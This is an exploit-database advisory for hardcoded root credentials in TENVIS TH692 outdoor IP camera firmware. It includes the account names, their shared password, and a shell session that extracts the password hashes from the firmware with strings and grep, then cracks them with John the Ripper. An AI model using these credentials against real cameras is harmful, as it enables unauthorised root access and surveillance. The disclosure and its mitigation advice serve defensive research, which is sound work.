TH692- Outdoor P2P HD Waterproof IP Camera hardcoded credentials

vendor:

TH692- Outdoor P2P HD Waterproof IP Camera

by:

DLY

7,5

CVSS

HIGH

Hardcoded Credentials

798

CWE

Product Name: TH692- Outdoor P2P HD Waterproof IP Camera

Affected Version From: TH692C-V. 16.1.16.1.1.4

Affected Version To: TH692C-V. 16.1.16.1.1.4

Patch Exists: YES

Related CWE: N/A

CPE: h:tenvis:th692-_outdoor_p2p_hd_waterproof_ip_camera

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2016

TH692- Outdoor P2P HD Waterproof IP Camera hardcoded credentials

The TH692- Outdoor P2P HD Waterproof IP Camera from TENVIS Technology Co., Ltd. contains hardcoded credentials in the firmware. The firmware version TH692C-V. 16.1.16.1.1.4 contains two sets of credentials, Mroot and Wproot, both with the password 'cat1029'. These credentials can be used to gain access to the device.

Mitigation:

Users should update to the latest version of the firmware, which does not contain the hardcoded credentials.

Source

Exploit-DB raw data:

Exploit Title: TH692- Outdoor P2P HD Waterproof IP Camera hardcoded credentials
Date: 4/16/2016
Exploit Author: DLY
Vendor: TENVIS Technology Co., Ltd
Product: TH692- Outdoor P2P HD Waterproof IP Camera
Product webpage: http://www.tenvis.com/th-692-outdoor-p2p-hd-waterproof-ip-camera-p-230.html
Affected version: TH692C-V. 16.1.16.1.1.4
firmware download link: http://download.tenvis.com/files/updatefiles/UPG_ipc3360a-w7-M20-hi3518-20160229_173554.ov

user: Mroot
pass:cat1029
user:Wproot
pass: cat1029

root@kali:~# strings UPG_ipc3360a-w7-M20-hi3518-20160229_173554.ov.1 | grep root
rootpath
rootfs crc %lx
------------------start upgrade rootfs------------------
------------------end upgrade rootfs------------------
bootargs=mem=74M console=ttyAMA0,115200 root=/dev/mtdblock2 rootfstype=jffs2 mtdparts=hi_sfc:256K(boot),2560K(kernel),11520K(rootfs),1M(config),64K(key),960K(ext)
nfsroot
7root
Bmount -t nfs -o nolock 192.168.0.99:/home/bt/vvvipc_develop/rootfs_target /nfsroot
k01000100    rootbox    nohelp info
root::0:
Mroot:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh
Wproot:$1$d3VPdE0x$Ztn09cyReJy5PynZgwCbw0:0:0::/root:/bin/sh
nfsroot
pivot_root
xswitch_root
chroot
nfsroot
root@kali:~# john --show ipcamhashes
Mroot:cat1029:0:0::/root:/bin/sh
Wproot:cat1029:0:0::/root:/bin/sh

2 password hashes cracked, 0 left